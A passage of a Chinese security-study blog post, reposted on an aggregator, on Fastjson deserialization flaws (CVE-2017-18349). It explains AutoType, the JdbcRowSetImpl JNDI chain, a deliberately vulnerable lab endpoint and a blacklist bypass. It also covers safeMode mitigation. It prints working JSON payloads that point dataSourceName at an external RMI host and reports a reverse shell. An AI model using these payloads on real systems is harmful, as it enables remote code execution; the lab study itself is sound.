public static void main(String[] args) {Person person = new Person();person.setName("Tr0e");person.setAge(18);System.out.println("--------------序列化-------------");String typeJson = JSON.toJSONString(person, SerializerFeature.WriteClassName);System.out.println(typeJson);System.out.println("-------------反序列化-------------");String JSON_Serialize = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");Object man =  JSON.parse(JSON_Serialize);System.out.println(man.getClass().getName());System.out.println(man);}

【注意】由于 fastjson 在 1.2.24 版本(最开始存在反序列化漏洞的版本)之后默认禁用 AutoType,因此这里我们通过 ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");来手动开启白名单,否则会报错 “autoType is not support”。
imagepng
反序列化过程
为了从 Fastjson 最初的漏洞版本 1.2.24 开始讨论,修改 Fastjson 版本:

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>

修改下 JavaBean,增加日志打印:

package com.tr0e.sec.Entity;public class Person {public String name;public int age;public Person(){}public Person(int age, String name) {System.out.println("调用了构造函数");this.age = age;this.name = name;}public String getName() {System.out.println("getName");return name;}public void setName(String name) {System.out.println("setName");this.name = name;}public int getAge() {System.out.println("getAge");return age;}public void setAge(int age) {System.out.println("setAge");this.age = age;}
}

进行反序列化调用:

System.out.println("-------------反序列化-------------");
String JSON_Serialize3 = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";
System.out.println(JSON.parseObject(JSON_Serialize3));

输出结果如下所示:
imagepng
可以看到 Fastjson 反序列化过程中,会调用 JavaBean 的 setter 和 getter 方法。

反序列化漏洞

回顾下 阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。

前面的学习示例已经演示了 AutoType 功能。小结一下:有了 AutoType 功能,那么 Fastjson 在对 JSON 字符串进行反序列化的时候,就会读取@type到内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的 setter 方法。那么利用 AutoType 这个特性,可不可以自己构造一个 JSON 字符串,并且使用@type指定一个自己想要使用的攻击类库?答案是肯定的。

举个例子,攻击者比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl,这是 sun 官方提供的一个类库,这个类的 dataSourceName 支持传入一个 rmi 的源,当解析这个 uri 的时候,就会支持 RMI 远程调用,去指定的 RMI 地址中去调用方法。而 Fastjson 在反序列化时会调用目标类的 setter 方法,那么如果黑客在 dbcRowSetImpl 的 dataSourceName 中设置了一个想要执行的命令,那么就会导致存在远程命令执行的风险。

比如通过以下方式定义一个 JSON 串,即可实现远程命令执行(新版本中 JdbcRowSetImpl 已经被加了黑名单):

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

这就是所谓的 Fastjson 反序列化漏洞造成远程命令执行的基本原理,下面通过实际的靶场案例来进一步分析。

漏洞靶场

https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java

/** Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象* Github:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN**/
@Api("Fastjson反序列化漏洞")
@Slf4j
@RestController
@RequestMapping("/Fastjson")
public class FastjsonVul {@RequestMapping(value = "/vul", method = {RequestMethod.POST})public String vul(@RequestBody String content) {try {// 转换成objectJSONObject jsonToObject = JSON.parseObject(content);log.info("[vul] Fastjson");return jsonToObject.get("name").toString();} catch (Exception e) {return e.toString();}}
}

此靶场的 Fastjson 版本:

<!-- Fastjson 1.2.24存在rce漏洞 -->
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.41</version>
</dependency>

一键搭建 RMI 与 ldap 服务,远程调用成功:
imagepng
imagepng
在这里插入图片描述

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi","autoCommit":true,"age":19,"id":2,"name":"test"
}

成功反弹 Shell:
imagepng
JdbcRowSetImpl 利用链分析

根据 FastJson 反序列化漏洞原理,FastJson 将 JSON 字符串反序列化到指定的 Java 类时,会调用目标类的 getter、setter 等方法。JdbcRowSetImpl 利用链的核心问题出在JdbcRowSetImpl#setDataSourceNameJdbcRowSetImpl#setAutoCommit方法中存在可控的参数。

其中setDataSourceName()方法会设置 dataSource 的值:
imagepng
setAutoCommit()会调用 connect() 方法,connect() 函数如下:
imagepng
imagepng
关注上面 325-326 行,熟悉的 JNDI 注入代码特征,这也解释了《Java反序列化漏洞与URLDNS利用链分析》开篇提到的疑惑,即为什么 Fastjson 反序列化漏洞利用过程采用的是 JNDI 注入。

可以通过一个简单的代码示例进一步验证下:

    public static void main(String[] args) throws Exception {JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/viwnim");JdbcRowSetImpl_inc.setAutoCommit(true);}

【More】Fastjson 漏洞的另外一条利用链路—— Templateslmpl 利用链的原理和使用方法可以参见:《完全零基础入门Fastjson系列漏洞(基础篇)》、《Java 反序列化漏洞原理(三)fastjson 1.2.24 Templateslmpl 利用原理》。

检测工具

同样可以使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan。
imagepng
imagepng

补丁绕过

Fastjson 1.2.24 被爆出反序列化漏洞(CVE-2017-18349)之后,由于 Fastjson 被广泛运用在 Java 项目之中,受到漏洞研究人员和黑客的广泛关注,于是 Alibaba 团队发布的几个版本的补丁,陆续被业界给 Bypass 掉了,下面简单了解介绍一下这场 “战争”。

【1.2.25 -1.2.41 版本绕过】
在 1.2.24 版本会直接加载 @type 指向的类,而 1.2.25 版本增加了对类的 checkAutoType() 检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数 AutoTypeSupport。

Fastjson 默认 AutoTypeSupport 为False(默认开启白名单机制),需要通过服务端使用以下代码手动关闭,这一点是高版本一个难以绕过的地方。

// 全局开启AutoType,不建议使用
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 建议使用这种方式,小范围指定白名单
ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");

可以看到在开启白名单的条件下无法加载到我们的利用类:

这里我们修改autoTypeSupport=true,跟进TypeUtils#loadClass看一下:

  1. 如果以[开头则去掉[后进行类加载(在之前 Fastjson 已经判断过是否为数组了,实际走不到这一步);
  2. 如果以L开头,以;结尾,则去掉开头和结尾进行类加载;

那么加上L开头和;结尾实际上就可以绕过所有黑名单。Payload 如下:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi","autoCommit":true
}

AutoType 安全模式

Fastjson 漏洞的利用几乎都是围绕 AutoType 来的,于是在 v1.2.68 版本中,Fastjson 引入了 safeMode 属性,配置 safeMode 后,无论白名单和黑名单,都不支持 autoType,设置了 safeMode 后,@type字段不再生效,即当解析形如{"@type":"com.java.class"}的 JSON 串时,将不再反序列化出对应的类,可一定程度上缓解反序列化类变种攻击。

ParserConfig.getGlobalInstance().setSafeMode(true); 

【More】Fastjson 被 Bypass 的补丁版本还涉及 1.2.42、1.2.43、1.2.44、1.2.45、1.2.47、1.2.48、1.2.68、1.2.80 等,值得另外整体学习,后续会单独学习记录下各个版本的 Bypass 原理和方式,以及 Fastjson 通过 Templateslmpl 利用链远程加载恶意类的字节码完成 RCE 的原理。

总结

本文学习了 JNDI 基本概念和 JNDI 注入的基本原理,并通过靶场实践 JNDI 注入漏洞的利用过程,与此同时学习了 Log4j RCE 漏洞(CVE-2021-44228)和 Fastjson 反序列化漏洞(CVE-2017-18349)的原理,并通过靶场实践借助 JNDI 注入完成 RCE 的过程。

这个过程中也可以看到著名的 Java 第三方组件也可能隐藏着“显而易见”的致命漏洞(相信 Log4j 能够“潜伏”那么多年估计也是诸多 Java 安全研究员始料未及的),在具备扎实的基本功和熟练了解相关组件特性的情况下,或许挖洞者跟漏洞之间的距离就差一颗敢于质疑、敢于挑战的心?

本文参考文章如下:

  1. JNDI注入详解 - FreeBuf;
  2. JNDI注入利用原理及绕过高版本JDK限制;
  3. Apache Log4j2 漏洞分析 | Gta1ta’s Blog;
  4. Apache Log4j2 Jndi RCE 高危漏洞分析与防御;
  5. Java安全:Fastjson反序列化漏洞 - 枫のBlog;
  6. 强烈推荐:完全零基础入门Fastjson系列漏洞(基础篇);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/25743.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关于用宽带(拨号)连接VPN无法上网,但是wifi或者热点就可以的问题

参考链接&#xff1a;https://zhuanlan.zhihu.com/p/580929250https://zhuanlan.zhihu.com/p/580929250 https://blog.csdn.net/Yaoyao2024/article/details/132245249文章浏览阅读10w次&#xff0c;点赞161次&#xff0c;收藏515次。很多同学在学习访问学校提供的资源时或者一…

队列和栈的实现

文章目录 队列队列的定义队列常见的基本操作队列的顺序存储结构实现 栈栈的定义栈的常见基本操作栈的顺序存储实现 栈的链式存储实现 队列 队列的定义 队列&#xff08;queue&#xff09;是只允许在一端进行插入操作&#xff0c;而在另一端进行删除操作的线性表。队列是一种先…

Vitis HLS 学习笔记--聚合与解聚-AXI主接口

目录 1. 简介 2. 用法及语法 3. 详细解读 4. 总结 1. 简介 在使用 Vitis HLS 工具进行硬件设计时&#xff0c;如果你在接口上使用了结构体&#xff0c;工具会自动把结构体里的所有元素组合成一个整体。就像把一堆零件组装成一个玩具一样。这样做的好处是&#xff0c;数据可…

【西瓜书】大题

1.线性回归 思路&#xff1a;ywxb&#xff0c;w为一维数组&#xff0c;求均方误差MSE&#xff0c;对w和b分别求偏导为0得到关于w和b的闭式求解。预测第十年的代入ywxb求解即可。 2.查准率、查全率 思路&#xff1a;先计算每个算法测试结果的混淆矩阵&#xff0c;再根据混淆矩阵…

pyrouge(ROUGE-1.5.5)的安装步骤和使用说明(适用于Linux 系统)

摘要&#xff1a;本文讲解了如何配置和使用文本摘要的评价指标ROUGE(linux 系统)。 ✅ NLP 研 1 选手的学习笔记 简介&#xff1a;小王&#xff0c;NPU&#xff0c;2023级&#xff0c;计算机技术 研究方向&#xff1a;摘要生成、大语言模型生成 文章目录 一、为啥要写这篇博客&…

问题汇总:MPU6050(软件iic)

以下为个人问题汇总&#xff0c;排查点汇总可能大有缺陷&#xff0c;如有错误&#xff0c;欢迎指正。 排查点汇总 检查软件iic的时序操作用示波器或逻辑分析仪检查波形 无法使用逻辑分析仪进行I/O引脚波形分析 充当SDA、SCL的引脚要配置为推挽输出; 另外&#xff0c;逻辑分…

挑战绝对不可能:再证有长度不同的射线

黄小宁 一空间坐标系中有公共汽车A&#xff0c;A中各座位到司机处的距离h是随着座位的不同而不同的变数&#xff0c;例如5号座位到司机处的距离是h3&#xff0c;…h5&#xff0c;…。A移动了一段距离变为汽车B≌A&#xff0c;B中5号座位到司机处的距离h’h3&#xff0c;…h’h5…

LLVM Cpu0 新后端 系列课程总结

想好好熟悉一下llvm开发一个新后端都要干什么&#xff0c;于是参考了老师的系列文章&#xff1a; LLVM 后端实践笔记 代码在这里&#xff08;还没来得及准备&#xff0c;先用网盘暂存一下&#xff09;&#xff1a; 链接: https://pan.baidu.com/s/1yLAtXs9XwtyEzYSlDCSlqw?…

测试与开发

目录 按照测试目标分类 界面测试 功能测试 性能测试 可靠性测试 安全性测试 易用性测试 按照执行方式分类&#xff1a; 测试方法 白盒测试 语句覆盖 条件覆盖 判定条件覆盖 条件组合覆盖 路径覆盖 黑盒测试 灰盒测试 按照测试阶段分类 单元测试 集成测试 …

【iOS】界面推出的方法

【iOS】界面推出的方法 在学习过程中我们发现在iOS中有两种界面推出的方法&#xff1a;push 和 present这两种方法都可以用来推出一个新的界面 但是这两者是存在区别的 push 方法是通过 UINavigationController 进行导航,新的视图控制器会被压入导航栈中&#xff0c;可以跨级…

写给大数据开发,如何去掌握数据分析

这篇文章源于自己一个大数据开发&#xff0c;天天要做分析的事情&#xff0c;发现数据分析实在高大上很多&#xff0c;写代码和做汇报可真比不了。。。。 文章目录 1. 引言2. 数据分析的重要性2.1 技能对比2.2 业务理解的差距 3. 提升数据分析能力的方向4. 数据分析的系统过程4…

前端 JS 经典:Promise 详解

1. Promise 由来 在以前我们实现异步是用的回调函数&#xff0c;当一个异步请求需要依赖上一个异步请求返回的结果的时候&#xff0c;就会形成如下这种的调用结构。 请求1(function (结果1) {请求2(function (结果2) {请求3(function(结果3)) {请求4(function(结果4) {})}});…

Windows下载安装RabbitMQ客户端(2024最新篇)

文章目录 RabbitMQ认知RabbitMQ下载RabbitMQ安装 更多相关内容可查看 RabbitMQ认知 定义&#xff1a;RabbitMQ是一个消息中间件&#xff0c;它接受并转发消息。你可以把它当做一个快递站点&#xff0c;当你要发送一个包裹时&#xff0c;你把你的包裹放到快递站&#xff0c;快递…

免费!GPT-4o发布,实时语音视频丝滑交互

We’re announcing GPT-4o, our new flagship model that can reason across audio, vision, and text in real time. 5月14日凌晨&#xff0c;OpenAI召开了春季发布会&#xff0c;发布会上公布了新一代旗舰型生成式人工智能大模型【GPT-4o】&#xff0c;并表示该模型对所有免费…

JDBC简介以及快速入门

这些都是JDBC提供的API 简介 每一个数据库的底层细节都不一样 不可能用一套代码操作所有数据库 我们通过JDBC可以操作所有的数据库 JDBC是一套接口 我们自己定义了实现类 定义实现类 然后就能用Java操作自己的数据库了 MySQL对于JDBC的实现类 就是驱动 快速入门 创建新的项…

vscode copilot git commit 生成效果太差,用其他模型替换

问题 众所周知&#xff0c;copilot git commit 就像在随机生成 git commit 这种较为复杂的内容还是交给大模型做比较合适 方法 刚好&#xff0c;gitlens 最近开发了 AI commit的功能&#xff0c;其提供配置url api可以实现自定义模型 gitlens 只有3种模型可用&#xff1a…

【Python】在【数据挖掘】与【机器学习】中的应用:从基础到【AI大模型】

目录 &#x1f497;一、Python在数据挖掘中的应用&#x1f495; &#x1f496;1.1 数据预处理&#x1f49e; &#x1f496;1.2 特征工程&#x1f495; &#x1f497;二、Python在机器学习中的应用&#x1f495; &#x1f496;2.1 监督学习&#x1f49e; &#x1f496;2.2…

树二叉树

树 ​ 树是 n&#xff08;n≥0&#xff09;个结点的有限集。当 n 0时&#xff0c;称为空树。在任意一颗非空树中应满足&#xff1a; &#xff08;1&#xff09;有且仅有一个特定的称为根的结点。 &#xff08;2&#xff09;当 n > 1时&#xff0c;其余结点可分为 m&…

基于小波的多元信号降噪-基于马氏距离和EDF统计(MATLAB R2018a)

马氏距离是度量学习中一种常用的距离指标&#xff0c;通常被用作评定数据样本间的相似度&#xff0c;可以应对高维线性分布数据中各维度间非独立同分布的问题&#xff0c;计算方法如下。 &#xff08;1&#xff09;计算样本向量的平均值。 &#xff08;2&#xff09;计算样本向…

Golang的协程调度器GMP

目录 GMP 含义 设计策略 全局队列 P的本地队列 GMP模型以及场景过程 场景一 场景2 场景三 场景四 场景五 场景六 GMP 含义 协程调度器&#xff0c;它包含了运行协程的资源&#xff0c;如果线程想运行协程&#xff0c;必须先获取P&#xff0c;P中还包含了可运行的G…